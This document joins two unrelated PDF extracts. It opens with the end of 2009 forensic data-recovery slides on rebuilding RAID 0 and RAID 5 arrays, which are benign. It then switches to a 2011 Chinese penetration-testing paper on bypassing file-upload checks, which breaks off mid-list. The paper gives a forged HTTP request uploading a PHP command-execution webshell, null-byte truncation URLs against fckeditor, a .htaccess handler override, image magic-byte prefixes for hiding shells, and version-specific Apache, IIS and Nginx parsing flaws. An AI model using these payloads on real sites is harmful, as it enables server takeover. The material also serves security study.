17 Partition Example From http://www.ranish.com/part/primer.htm Forensic Data Recovery – MyHardDriveDied.com © 2009 18 NTFS Boot Sectors From Microsoft.com Forensic Data Recovery – MyHardDriveDied.com © 2009 19 RAID 0 •  Put the first drive in the first slot of whatever software you are using.. •  Put the other drives in their slots •  Set your size of your slice to your guess…. Usually 64 is the defaults (unless some tech messed with it) •  Scan for Pictures (JPG,JPEG,GIF) or MP3s. •  Stop, extract, view, listen… Forensic Data Recovery – MyHardDriveDied.com © 2009 20 What to Extract •  Extract between the boundaries of the controller…if you don’t know, usually guess: » 32k » 64k » 128k » 256k » 512k » 1024k Forensic Data Recovery – MyHardDriveDied.com © 2009 21 How do you know when you are wrong?? Forensic Data Recovery – MyHardDriveDied.com © 2009 22 Large Files in Megs Forensic Data Recovery – MyHardDriveDied.com © 2009 23 Recognizable 140k File.. Forensic Data Recovery – MyHardDriveDied.com © 2009 24 Small Files under 32k Intact Forensic Data Recovery – MyHardDriveDied.com © 2009 25 Small Files under 64k Intact Forensic Data Recovery – MyHardDriveDied.com © 2009 26 Files Just Over 64k Forensic Data Recovery – MyHardDriveDied.com © 2009 27 Files Just Over 64k Forensic Data Recovery – MyHardDriveDied.com © 2009 28 Files Over 2 Megs Forensic Data Recovery – MyHardDriveDied.com © 2009 29 Large RAW Files Forensic Data Recovery – MyHardDriveDied.com © 2009 30 Once you get it Right – 700k Forensic Data Recovery – MyHardDriveDied.com © 2009 31 2 Meg MP3 Sound File Sample Forensic Data Recovery – MyHardDriveDied.com © 2009 32 RAID 5 Forensic Data Recovery – MyHardDriveDied.com © 2009 33 RAID 5: How it works •  RAID 5 Array protects the server from “down time.” It will allow for a drive to fail and your system to continue running without the result of lost data. •  RAID 5 does this by storing parity data on all the hard drives. Parity is a formula that calculates error correction data. •  By distributing parity across all drives it creates a safety net for the data when a drive fails. Forensic Data Recovery – MyHardDriveDied.com © 2009 34 RAID 5: How it works Forensic Data Recovery – MyHardDriveDied.com © 2009 35 RAID 5: Controllers •  There are two kinds of controllers for RAID, Host Based and Discrete controllers. •  Host controllers us the processor power in your computer to process the calculations for the array. •  Discrete controllers have a processor that will do the mathematics for calculating the array values. A discrete controller is much faster and leaves your processor to do other tasks, however, they are much more expensive. •  You are going to try to do this in software! Forensic Data Recovery – MyHardDriveDied.com © 2009 36 RAID 5: How it works •  There have also been times where RAID 5 arrays have failed a single drive, but no one noticed before a second one failed. •  If two drives fail and the array goes down, which drive do you need to repair??? Forensic Data Recovery – MyHardDriveDied.com © 2009 37 RAID 5 Simplist Sample Forensic Data Recovery – MyHardDriveDied.com © 2009 38 RAID5 For Real?? •  Parity is calculated by XORing the data with the number of slices in the row -1. For 4 drives it looks like this: SliceA xor SliceB xor SliceC xor SliceD = Parity Forensic Data Recovery – MyHardDriveDied.com © 2009 39 Arrangements: Left Async Forensic Data Recovery – MyHardDriveDied.com © 2009 40 Arrangements: Left Sync Forensic Data Recovery – MyHardDriveDied.com © 2009 41 Arrangements: Right Async Forensic Data Recovery – MyHardDriveDied.com © 2009 42 Arrangements: Right Sync Forensic Data Recovery – MyHardDriveDied.com © 2009 43 Steps to rebuild RAID 5 array 1. Repair all necessary BAD drives. 2. Image the damaged drive(s) and recover as many sectors as possible. 3. Image all the good drives. 4. Use software to analyses and re-weave the images back together virtually. Test data! 5. Write the newly weaved image back to a hard drive to start the logical recovery (follow the logical recovery section for the type of format). Forensic Data Recovery – MyHardDriveDied.com © 2009 44 RAID 5 •  Put the first drive in the first slot of whatever software you are using.. •  Put the other drives in their slots •  Set your size of your slice to your guess…. And your ARRANGMENT to the order. •  Scan for Pictures (JPG,JPEG,GIF) or MP3s. •  Stop, extract, view, listen… Forensic Data Recovery – MyHardDriveDied.com © 2009 45 Code to do it for you… •  #!/usr/bin/perl –w # # raid5 perl utility # Copyright (C) 2005 Mike Hardy <mike [at] mikehardy.net> # # This script understands the default linux raid5 disk layout, # and can be used to check parity in an array stripe, or to calculate # the data that should be present in a chunk with a read error. my [at] array_components. = ( "/dev/loop0", "/dev/loop1", "/dev/loop2", "/dev/loop3", "/dev/loop4", "/dev/loop5", "/dev/loop6", "/dev/loop7" ); my $chunk_size = 64 * 1024; # chunk size is 64K my $sectors_per_chunk = $chunk_size / 512; http://www.freesoftwaremagazine.com/articles/recovery_raid Forensic Data Recovery – MyHardDriveDied.com © 2009 46 RAID Live Demo Using R-Studios Forensic Data Recovery – MyHardDriveDied.com © 2009 47 The End
pdf
Upload Upload Upload Upload Attack Attack Attack Attack Framework Framework Framework Framework Version Version Version Version 1.0 1.0 1.0 1.0 CasperKid [Syclover][Insight-Labs] 2011/10/6 [*] Team : Syclover Security Team & Insight Labs [*] Web : www.myclover.org & www.insight-labs.org [*] Blog : hi.baidu.com/hackercasper [*] Mail : casperkid.syclover@gmail.com 前言 这篇 paper 还是断断续续憋了我两个月左右,想把整个攻击能抽象出一个体系出来,所 以一直拖了很久才最终成型,个中艰辛还是在自己能体会。原本 paper 是投到 webzine0x06, 后来刺总(axis)说 webzine0x06 要 11 月才发布,很多朋友又在催,就提前公开这篇 paper 了。 在现在越来越安全的体系下,sql injection 这类漏洞已经很难在安全性较高的站点出现, 比如一些不错的.NET 或 JAVA 的框架基本上都是参数化传递用户输入以及其他一些能防御 SQL 注入的 API,直接封死注入攻击。在非 php 的 web 安全中出现概率很大而且威力也很 大的攻击主要有两种,第一种是 sql injection,第二种便是上传攻击。(php 的还有本地/远程 文件包含或代码注入漏洞等)。 通常 web 站点会有用户注册功能,而当用户登入之后大多数情况下都会存在类似头像 上传、附件上传一类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,是在 web 渗透中非常关键的突破口,只要经过仔细测试分析来绕过上传验证机制,往往会造成被 攻击者直接上传 web 后门,进而控制整个 web 业务的控制权,复杂一点的情况是结合 web server 的解析漏洞来上传后门获取权限。 这篇 paper 或许还并不算完善,但在分类总结上还是比较全面,我看过 OWASP 和 Acunetix 对上传攻击的分类,很多方面并不够全面。在写 paper 这段时间,因为也在学习其他 东西,比较忙,现在才把这篇 paper 算写了一个相对来说比较完整的版本,麻雀虽小,五脏 俱全,之中有不足之处,希望大家有类似经验的提出来,以便我能更加完善这篇 paper,也 让大家的交流产生更大的价值。 还有关于这个 framework,当时看有部分朋友有些误解,以为有这个 framework,就一 定能挖到 exp 之类,为了不误导大家,在这里还是做个说明。我的本意,只是为了提供一种 相对来说系统的分析方法,比如给你一份 upload 的源码或者一个 website,你怎么来系统地 进行白盒/黑盒分析它,并从流程中找出它的逻辑漏洞或其他漏洞来,而不是去猜它会有什 么漏洞。更高层次的渗透不应该是去猜测目标,而是通过好的分析和总结能确定甚至预测目 标,要自己能心里真正清楚目标的信息,是什么版本,有什么漏洞,一次就成功,而不是我 猜下这样是否能成功的侥幸心理。渗透不是猜测,而是结合社会工程学收集到足够多的信息, 明确甚至预测目标的环境,然后不做过多的动作,而让自己最大化隐藏完成渗透测试。 在写 paper 时,保存的图像分辨率都比较高,大家用 100%分辨率观看时可能不太清晰, 需要看图像的细节时,推荐大家用 200%-400%分辨率来观看即可。 目录概览 目录概览 目录概览 目录概览 0x00 上传检测流程概述 0x01 客户端检测绕过(javascript 检测) 0x02 服务端检测绕过(MIME 类型检测) 0x03 服务端检测绕过(目录路径检测) 0x04 服务端检测绕过(文件扩展名检测) - 黑名单检测 - 白名单检测 - .htaccess 文件攻击 0x05 服务端检测绕过(文件内容检测) - 文件幻数检测 - 文件相关信息检测 - 文件加载检测 0x06 解析攻击 - 网络渗透的本质 - 直接解析 - 本地文件包含解析 - .htaccess 解析 - web 应用程序解析漏洞及其原理 0x07 上传攻击框架 - 轻量级检测绕过攻击 - 路径/扩展名检测绕过攻击 - 文件内容性检测绕过攻击 - 上传攻击框架 - 结语 0x00 上传检测流程概述 通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 web 服务器 web 服务器接收到请求后并同意后,用户与 web 服务器将建立连接,并传输 data 而一般一个文件上传过程中的检测如下图红色标记部分: A 客户端 javascript 检测 (通常为检测文件扩展名) B 服务端 MIME 类型检测 (检测 Content-Type 内容) C 服务端目录路径检测 (检测跟 path 参数相关的内容) D 服务端文件扩展名检测 (检测跟文件 extension 相关的内容) E 服务端文件内容检测 (检测内容是否合法或含有恶意代码) 随后本文将对这些检测如何绕过攻击进行详细的讲解 0x01 客户端检测绕过(javascript 检测) 这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码 最常见的就是检测扩展名是否合法 下面将给出具体实例 打开 http 反向代理工具 burp 先随便点击浏览选择文件 2012.asa 但是刚点击“打开”,而这时也并没点击 Upload burp 里也还没出现任何内容,便弹出了一个警告框 这种情况一看就知道是个客户端 javascript 检测 (因为没有流量经过 burp 代理) 下图是该上传页面负责检测扩展名合法性的 javascript 代码 我们可以用 firebug 之类的插件把它禁掉或者通过 burp 之类的代理工具进行绕过提交 这里我将用 burp 进行代理修改 先将文件扩展名改成 jpg 然后点击 Upload 现在在 POST Packet 里文件名字段的值是 2012.jpg 在 burp 里将 filename="2012.jpg" 改成 filename="2012.asp" 然后继续 forward 上传 最后可以看到 asp 成功上传 0x02 服务端检测绕过(MIME 类型检测) 因为没有找到合适的案例源码程序,就找了个模拟代码讲解下 更具体的找到了一个渗透实例,也是利用的 MIME 类型上传绕过漏洞 地址是: http://www.heibai.net/articles/hacker/ruqinshili/2011/0325/13735.html 下面是找到的一个模拟检测代码 假如服务器端上的 upload.php 代码如下 <?php if($_FILES['userfile']['type'] != "image/gif") { //检测Content-type echo "Sorry, we only allow uploading GIF images"; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "File uploading failed.\n"; } ?> 然后我们可以将 request 包的 Content-Type 修改 POST /upload.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: localhost User-Agent: libwww-perl/5.803 Content-Type: multipart/form-data; boundary=xYzZY Content-Length: 155 --xYzZY Content-Disposition: form-data; name="userfile"; filename="shell.php" Content-Type: image/gif (原为 Content-Type: text/plain) <?php system($_GET['command']);?> --xYzZY-- 得到服务端的应答 HTTP/1.1 200 OK Date: Thu, 31 May 2011 14:02:11 GMT Server: Apache Content-Length: 59 Connection: close Content-Type: text/html <pre>File is valid, and was successfully uploaded.</pre> 可以看到我们成功绕过了服务端 MIME 类型检测 像这种服务端检测 http 包的 Content-Type 都可以用这种类似的方法来绕过检测 0x03 服务器检测绕过(目录路径检测) 目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。 比如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞 地址: http://www.wooyun.org/bugs/wooyun-2010-01684 效果如下 漏洞成因是因为对目录路径的检测不够严谨而导致可以用 0x00 截断进行攻击 可以看到图中,在最后将要进行写文件之前的变量状态 sFilePath = C:/wamp/www/userfiles/image/fuck.php .gif/fvck.gif (.php 后面是 0x00) 当右图执行 move_uploaded_file( $oFile['tmp_name'], $sFilePath) 这个函数时 1. 先将 sFilePath 写入到指定位置,但是底层操作应该是调用的类似于 c 语言,遇到 0x00 会 自动截断,所以真正写入的实际地址是 C:/wamp/www/userfiles/image/fuck.php 2. 把原本 fvck.gif 里的内容(目前应该存在临时文件,类似于 C:/Temp/phpf3at7b 这样的文件) 然后把 C:/Temp/phpf3at7b 的内容写入到 C:/wamp/www/userfiles/image/fuck.php 里 这样便获得了我们所想要的 webshell 问题出在了 io.php 里的 ServerMapFolder 函数 当 POST 下面的 URL 的时候 /fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image& CurrentFolder=fuck.php%00.gif HTTP/1.0 CurrentFolder 这个变量的值会传到 ServerMapFolder($resourceType, $folderPath, $sCommand) 中的形参 $folder 里,而 $folder 在这个函数中并没做任何检测,就被 CombinePaths()了 0x04 服务端检测绕过(文件扩展名检测) 对于扩展名检测不强的,时常还可以结合目录路径攻击 比如 filename="test.asp/evil.jpg" 之类 ---- 黑名单检测 黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多 一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件 例如 fckeditor 2.4.3 或之前版本的黑名单 1. 文件名大小写绕过 用像 AsP,pHp 之类的文件名绕过黑名单检测 2. 名单列表绕过 用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类 3. 特殊文件名绕过 比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。 4. 0x00 截断绕过 在扩展名检测这一块目前我只遇到过 asp 的程序有这种漏洞,给个简单的伪代码 name = getname(http request) //假如这时候获取到的文件名是 test.asp .jpg(asp 后面为 0x00) type = gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg if (type == jpg) SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断 //最后以 test.asp 存入路径里 5. .htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测 6. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞 ---- 白名单检测 白名单相对来说比黑名单安全一些,但也不见得就绝对安全了 1. 0x00 截断绕过 用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑 漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞 2. 解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞 ---- .htaccess .htaccess .htaccess .htaccess 文件攻击 无论是黑名单还是白名单 再直接点就是直接攻击.htaccess 文件 (其实目前我只见过结合黑名单攻击的,在后面的攻击分类里,我会把它归到黑名单绕过攻 击里。但网上是把这个单独分类出来的,可能别人有一些我不知道的方式和技巧吧,所以在 这里我也暂时保留这个单独分类) 在 PHP manual 中提到了下面一段话 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.’ 如果 PHP 安全没配置好 就可以通过 move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的 这样就能任意定义解析名单了 来做个小实验,先描述下效果: 通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含"haha"这个字符串的 任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以 php 的方 式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很 多上传验证机制 建一个.htaccess 文件,里面的内容如下 <FilesMatch "haha"> SetHandler application/x-httpd-php </FilesMatch> 同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件 里面的内容是 php 一句话木马 然后我们用中国菜刀去连接测试 看看结果是否如我们预期一样 :) 在中国菜刀里进行配置 然后连接过去 从图片上可以看出,结果如我们预期的一样 :) 所以一个可以由 hacker 掌控的.htaccess 文件是非常邪恶的~ 基本上可以秒杀各种市面上的上传验证检测 :) (内容检测除外) 从实际环境来说,我个人接触过的,一般是配合黑名单攻击 比如黑名单里有漏网之鱼,不够完整,漏掉了 htaccess 扩展名 那么就有机会,其他情况暂时还没碰到过,希望有经验的朋友可以提出分享一下~ 0x05 服务端检测绕过(文件内容检测) 如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难 也可以说它是在代码层检测的最后一道关卡 如果它被突破了,就算没有代码层的漏洞 也给后面利用应用层的解析漏洞带来了机会 我们这里主要以最常见的图像类型内容检测来举例 ---- 文件幻数检测 主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下 要绕过 jpg 文件幻数检测就要在文件开头写上下图的值 Value = FF D8 FF E0 00 10 4A 46 49 46 要绕过 gif 文件幻数检测就要在文件开头写上下图的值 Value = 47 49 46 38 39 61 要绕过 png 文件幻数检测就要在文件开头写上下面的值 Value = 89 50 4E 47 然后在文件幻数后面加上自己的一句话木马代码就行了 ---- 文件相关信息检测 图像文件相关信息检测常用的就是 getimagesize()函数 只需要把文件头部分伪造好就 ok 了,就是在幻数的基础上还加了一些文件信息 有点像下面的结构 GIF89a (...some binary data for image...) <?php phpinfo(); ?> (... skipping the rest of binary data ...) ---- 文件加载检测 这个是最变态的检测了,一般是调用 API 或函数去进行文件加载测试 常见的是图像渲染测试,再变态点的甚至是进行二次渲染(后面会提到) 对渲染/加载测试的攻击方式是代码注入绕过 对二次渲染的攻击方式是攻击文件加载器自身 先说下对渲染/加载测试攻击 - 代码注入绕过 可以用图像处理软件对一张图片进行代码注入 用 winhex 看数据可以分析出这类工具的原理是 在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区 对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的 但如果碰到变态的二次渲染 基本上就没法绕过了,估计就只能对文件加载器进行攻击了 下面将来介绍二次渲染 比如上传文件前,文件的数据如下 然后上传这个 jpg 但把它重新下载回本地发现了奇怪的地方 我们的 php 一句话木马不见了 可以看出上传后,图片被二次渲染过 新的 JPG 图片内容里含有这个 CREATOR: gd-jpeg v1.0 (using IJG JPEG v62) 可以看出是调用的 GD php 的 gd 库 测试了 gif 文件也一样 原文件内容是(虽然文件名是 2.jpg,实际文件格式是 gif 哈) 上传后下载回来对比 可以发现文件被重新渲染过 一句话代码也不见了 然后是进行 fuzzing 触发报错 看下是被用什么 API 或函数进行的二次渲染 上传文件数据不完整的 gif 文件 触发报错后,知道后台用的是 imagecreatefromgif()这个函数 上传文件数据不完整的 png 文件 触发报错后,知道后台用的是 imagecreatefrompng()这个函数 某后台调用 GD 库对图像进行二次渲染的代码 function image_gd_open($file, $extension) { $extension = str_replace('jpg', 'jpeg', $extension); $open_func = 'imageCreateFrom'. $extension; //函数名变成 imageCreateFrompng 之类 if (!function_exists($open_func)) { return FALSE; } return $open_func($file); //变成 imagecreatefrompng('/tmp/php0lbTOn') } 一般进行遇到二次渲染,想绕过,就目前个人经验还没想出方法 它相当于是把原本属于图像数据的部分抓了出来,再用自己的 API 或函数进行重新渲染 在这个过程中非图像数据的部分直接就被隔离开了 能想到的一个思路就是基于数据二义性,即让数据既是图像数据也包含一句话木马代码 就像 shellcode 通过数据二义性绕过 IDS 检测特殊字符一样的道理 但现在我还不知道怎么构造出这样的图像文件 如果要对文件加载器进行攻击,常见的就是溢出攻击 上传自己的恶意文件后,服务器上的文件加载器会主动进行加载测试 加载测试时被溢出攻击执行 shellcode 比如 access/mdb 溢出,大家可以参考下 http://lcx.cc/?FoxNews=1542.html 总之对文件完整性检测的绕过,通常就直接用个结构完整的文件进行代码注入即可 没必要再去测到底是检查的幻数还是文件头结构之类的了 0x06 解析攻击 我们以一个故事的方式来描述,方便大家能更深层次地理解一些渗透的本质 古时候,A 国对 B 国进行攻城战,B 国背后有一条水道,这时候会有以下情况 [*] 完全没防御 [*] 有一点简单的防御 (用木头制成做成的门栏) [*] 有一定程度的防御 (用金属制成做成的门栏) [*] 非常强的防御 (几乎完全封闭死了) 从攻击角度来分是这样的 1. 直接解析 (完全没防御或有一点简单的防御) 比如我们直接就可以上传一个扩展名是.php 的文件 只需要简单地绕过客户端 javascript 检测或者服务端 MIME 类型检测就行了 这样来描述一下 A 国直接派了一队精英小分队从水道里直接破坏掉一些普通的木头门栏之类 攻入了 B 国内部 2. 配合解析 (有一定程度的防御) 我们可以理解为先代码注入到服务器上,上传一个带有一句话木马的图片或文件之类 让它待在某个位置,等待这一个解析的配合 比如 php 的文件包含解析,web 服务器的解析漏洞,.htaccess 解析等 这样来描述下 A 国先派了一队精英小分队潜入了 B 国的水道,但是有铁门锁着,没法直接打开 比如要等待一个 B 国的间谍来接应他们,把铁门打开,他们才能进行下一步动作 随着安全意识的增强,现在基本上的主流攻击都在配合解析这一块 所以了解各类解析漏洞/机制是相当重要的 下面会更细致地为解析攻击进行分类 ---- 网络渗透的本质 这部分大家纯当 YY 看来玩就是了,也不用对此争论什么,我也并不是在对网络渗透做一个 以偏概全的总结,只是抽象了其中某一部分来看。 其实绝大部分网络渗透的本质(技术部分)就如上面总结的情况 主体就是代码注入+代码解析/执行 这种模式贯穿了几乎主流的技术性渗透攻击 像缓冲区溢出攻击,sql 注入攻击,文件上传攻击,文件包含攻击,脚本代码注入等等 主要是两类情况 1. 直接解析/执行攻击 像缓冲区溢出和 sql 注入攻击,脚本代码注入就是很明显的属于这里攻击 直接将代码注入到一个解析/执行环境里,直接就能让代码得到执行 所以危害性也来得最大,效果最明显 shellcode 注入程序后,直接劫持 EIP,进行该系统环境权限做任何操作 sql 命令注入数据库后,直接就能执行该数据库账号权限下的任何操作 2. 配合解析/执行攻击 算是一种组合攻击,在这类情况下 往往不像第一种情况能拥有直接的解析/执行环境 比较明显的就是我们的上传攻击 我们需要先上传数据(注入代码)到服务端上去 然后想办法去调用解析/执行环境(比如 Web 应用程序解析漏洞) 来解析/执行已经注入到了服务端的代码 如果对渗透的技术部分(社工更多属于非技术因素)看得更本质的话 就是上面描述的代码注入+解析/执行代码 把很多看上去很宽泛、很繁琐的事物 提取出它们的共性,就能更有针对性地对付一类问题 YY 完了网络渗透,接下来开始正式的部分 我们从解析攻击的具体方式来分类如下 ---- 直接解析 能以 asp,php 之类的扩展名存储在服务器上 ---- 本地文件包含解析 主要是 php 的本地文件包含 (远程文件包含不属于上传攻击绕过范畴) ---- .htaccess .htaccess .htaccess .htaccess 解析 就不用多说了,看看之前.htaccess 文件攻击的那个案例 用户自己定义如何去调用解析器解析文件就可以了 ---- web web web web 应用程序解析漏洞以及其原理 Apache/IIS/Nginx 解析漏洞 下面将重点来总结各类 web 应用程序解析漏洞 Apache/IIS/Nginx 的各版本基本上都收集到了(包括老版本) 但出于时间原因,Apache 的没时间测单独的版本 都是测的集成环境,如常见的 WampServer,AppServ 然后 IIS 的版本测试完毕 Nginx 的也因为没有时间测单独的版本,但一般漏洞网站都给出版本范围 会先以环境作分类,这样更适合于从渗透人员的角度 然后会再以漏洞原理作分类,这样更能清楚一些本质的东西 [*] Apache 解析漏洞 解析 - test.php.任意不属于黑名单且也不属于 Apache 解析白名单的名称 描述 - 一个文件名为 x1.x2.x3 的文件,Apache 会从 x3 的位置往 x1 的位置开始尝试解析 如果 x3 不属于 Apache 能解析的扩展名,那么 Apache 会尝试去解析 x2 的位置, 这样一直往前尝试,直到遇到一个能解析的扩展名为止 测试 - 测试了下面这些集成环境,都以它们的最新版本来测试,应该能覆盖所有低版本 WampServer2.0 All Version (WampServer2.0i / Apache 2.2.11) [Success] WampServer2.1 All Version (WampServer2.1e-x32 / Apache 2.2.17) [Success] Wamp5 All Version (Wamp5_1.7.4 / Apache 2.2.6) [Success] AppServ 2.4 All Version (AppServ - 2.4.9 / Apache 2.0.59) [Success] AppServ 2.5 All Version (AppServ - 2.5.10 / Apache 2.2.8) [Success] AppServ 2.6 All Version (AppServ - 2.6.0 / Apache 2.2.8) [Success] 上面测试过的集成环境都有这个扩展名解析顺序漏洞,然后所有测试过的集成环境都有 对 php3 扩展名按 php 解析这个小洞 (本质上来说这个不算漏洞,只是在针对一些名单不全 的黑名单时,能有绕过的机会)。 个人是觉得像这些解析漏洞市面上的都只是说有这么一个漏洞,都没怎么给出过详细的 版本范围之类,而渗透不是猜测,最好要做到心知肚明,有矢放的。具体这个解析漏洞到底 波及 Apache 哪些版本和范围,目前我也没时间挨个测试,只有等我有时间了,测出来了再 附带上来。 其实这个解析漏洞大家可以根据上面一些集成环境的 Apache 的版本大概预测下,至少 还是有一定几率的,比如 Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8 之类,当然这些只是一个从高版本对低版本的预测,实际效果还是要测试后才知道,我只是 在这里提一下而已,也不失为一种思路。 WampServer2.0 All Version (Apache 2.2.11) 以 WampServer2.0 最新版 WampServer2.0i 版来测试的 WampServer2.1 All Version (Apache 2.2.17) 以 WampServer2.1 最新版 WampServer2.1e-x32 版来测试的 Wamp5 All Version (Apache 2.2.6) 以 Wamp5 最新版 Wamp5_1.7.4 版来测试的 AppServ 2.4 All Version (Apache 2.0.59) 以 AppServ 2.4 最新版 AppServ - 2.4.9 版来测试的 AppServ 2.5 All Version (Apache 2.2.8) 以 AppServ 2.5 最新版 AppServ - 2.5.10 版来测试的 AppServ 2.6 All Version (Apache 2.2.8) 以 AppServ 2.6 最新版 AppServ - 2.6.0 版来测试的 用中国菜刀进行一句话连接时不知道为什么失败了,但是用 phpinfo()测试了还是可以解析的 [*] IIS 解析漏洞 解析 - test.asp/任意文件名 | test.asp;任意文件名 | 任意文件名/任意文件名.php 描述 - IIS6.0 在解析 asp 格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串, 那么这个目录下所有的文件都会按照 asp 去解析,另一个是只要文件名中含有".asp;" 会优先按 asp 来解析 IIS7.0/7.5 是对 php 解析时有一个类似于 Nginx 的解析漏洞,对任意文件名只要在 URL 后面追加上字符串"/任意文件名.php"就会按照 php 的方式去解析(IIS6.0 没测试) 测试 - 测试了下面这些集成环境,都以它们的最新版本来测试,应该能覆盖所有低版本 IIS6.0 (Win2003 SP2 + IIS6.0) [Success] IIS7.0 (Win2008 R1 + IIS7.0) [Success] IIS7.5 (Win2008 R2 + IIS7.5) [Success] IIS 的解析漏洞在市面上描述的版本还算明确,不像 Apache 那么模糊,针对 IIS6.0,只 要文件名不被重命名基本都能搞定。这里要注意一点,对于任意文件名/任意文件名.php 这 个漏洞其实是出现自 php-cgi 的漏洞,所以其实跟 IIS 自身是无关的,这个会在接下来讲到。 IIS6.0 (asp 解析漏洞 1) 以 win2003 sp2 + IIS6.0 来测试 图中的文件命名为 evil2.asp;xxxxxxx IIS6.0 (asp 解析漏洞 2) 以 win2003 sp2 + IIS6.0 来测试 图中的文件命名为 evil 并位于目录 test.asp 下 IIS7.5 (php 解析漏洞) 以 win2008 r2 + IIS7.5 来测试 对 evilcode 这个文件进行 php 解析漏洞测试 [*] Nginx 解析漏洞 解析 - 任意文件名/任意文件名.php | 任意文件名%00.php 描述 - 目前 Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php 的解析漏洞,比如原本文件名是 test.jpg,可以添加为 test.jpg/x.php 进行解析攻击。 还有一种是对低版本的 Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。 测试 - 测试了下面这些环境 nginx 0.5.* [Success] nginx 0.6.* [Success] nginx 0.7 <= 0.7.65 [Success] nginx 0.8 <= 0.8.37 [Success] 这里要注意一点,对于任意文件名/任意文件名.php 这个漏洞其实是出现自 php-cgi 的漏洞, 所以其实跟 nginx 自身是无关的,这个会在接下来讲到。 Nginx/0.6.32 (php 解析漏洞 2) 以 Linux + Nginx/0.6.32 来测试 上传图片,然后通过 xx.jpg%00.php 解析漏洞连接一句话木马 从漏洞原理来说总归有 4 类 web 应用程序解析漏洞 [*] Apache 的扩展名顺序解析漏洞 这个是 Apache 自身的漏洞 [*] IIS 的 asp 解析漏洞 这个是 IIS 自身的漏洞 [*] Nginx 的%00 解析漏洞 这个是 Nginx 自身的漏洞 [*] php-cgi 的默认配置漏洞 这类漏洞主要出现在 IIS 和 Nginx 这类以 CGI 形式调用 php 的 web 应用程序 而 Apache 通常是以 module 的形式去调用 php,所以很少出现这个漏洞 Bug Bug Bug Bug #50852 #50852 #50852 #50852 FastCGI Responder's accept_path_info behavior needs to be optional 地址: https://bugs.php.net/bug.php?id=50852&edit=1 这个漏洞由 cgi.fix_pathinfo 的值造成的 php-cgi 默认的配置里 cgi.fix_pathinfo 是被注释掉的 下图是再 cgi.fix_pathinfo 是被注释掉的情况下 phpinfo()里的信息 可以看到这里实际运行效果是以 cgi.fix_pathinfo = 1 在运行 而通常安全意识不高的管理员在安装 IIS+php 或 Nginx+php 的时候都是以默认配置在安装 自然这种情况下,这类服务器全都会产生漏洞 0x07 上传攻击框架 之前的都是从服务端的角度在给上传情况分类 现在我们要从攻击者的角度来给上传情况分类 这是这套 framework 的核心部分 知道了从攻击者的角度如何分类 就等于知道如何来综合分析一套源码 并从中知道是否有存在漏洞的可能性 ---- 轻量级检测绕过攻击 [*] 绕过 javascript 对扩展名的检测 <用 burp 之类的反向代理工具直接 POST 数据包到服务端,绕过前端检测> [*] 绕过服务端对 http request 包 MIME 类型检测 <用 burp 之类的反向代理工具伪造 POST 数据包到服务端,绕过 MIME 检测> ---- 路径////扩展名检测绕过攻击 [*] 黑名单绕过 [*] 白名单绕过 文件名大小写绕过 0x00 截断绕过 名单列表绕过 本地文件包含漏洞 特殊文件名绕过 IIS 解析漏洞 0x00 截断绕过 Nginx 解析漏洞 .htaccess 文件攻击 本地包含漏洞 Apache 解析漏洞 IIS 解析漏洞 Nginx 解析漏洞 ---- 文件内容检测绕过攻击 [*] 文件加载测试绕过 <对文件进行代码注入再配合任意解析调用/漏洞> ---- 上传攻击框架 然后再直观点,看它们属于什么层面的漏洞 ---- 轻量级检测绕过攻击 [*] 绕过 javascript 对扩展名的检测 (代码层漏洞) [*] 绕过服务端对 http request 包 MIME 类型检测 (代码层漏洞) ---- 路径////扩展名检测绕过攻击 [*] 黑名单绕过 文件名大小写绕过 (代码层漏洞) 名单列表绕过 (代码层漏洞) 特殊文件名绕过 (代码层漏洞) 0x00 截断绕过 (代码层漏洞) .htaccess 文件攻击 (代码层漏洞) php 文件包含漏洞 (代码层漏洞) Apache 解析漏洞 (应用层漏洞) IIS 解析漏洞 (应用层漏洞) Nginx 解析漏洞 (应用层漏洞) [*] 白名单绕过 0x00 截断绕过 (代码层漏洞) php 文件包含漏洞 (代码层漏洞) IIS 解析漏洞 (应用层漏洞) Nginx 解析漏洞 (应用层漏洞) ---- 文件内容检测绕过攻击 [*] 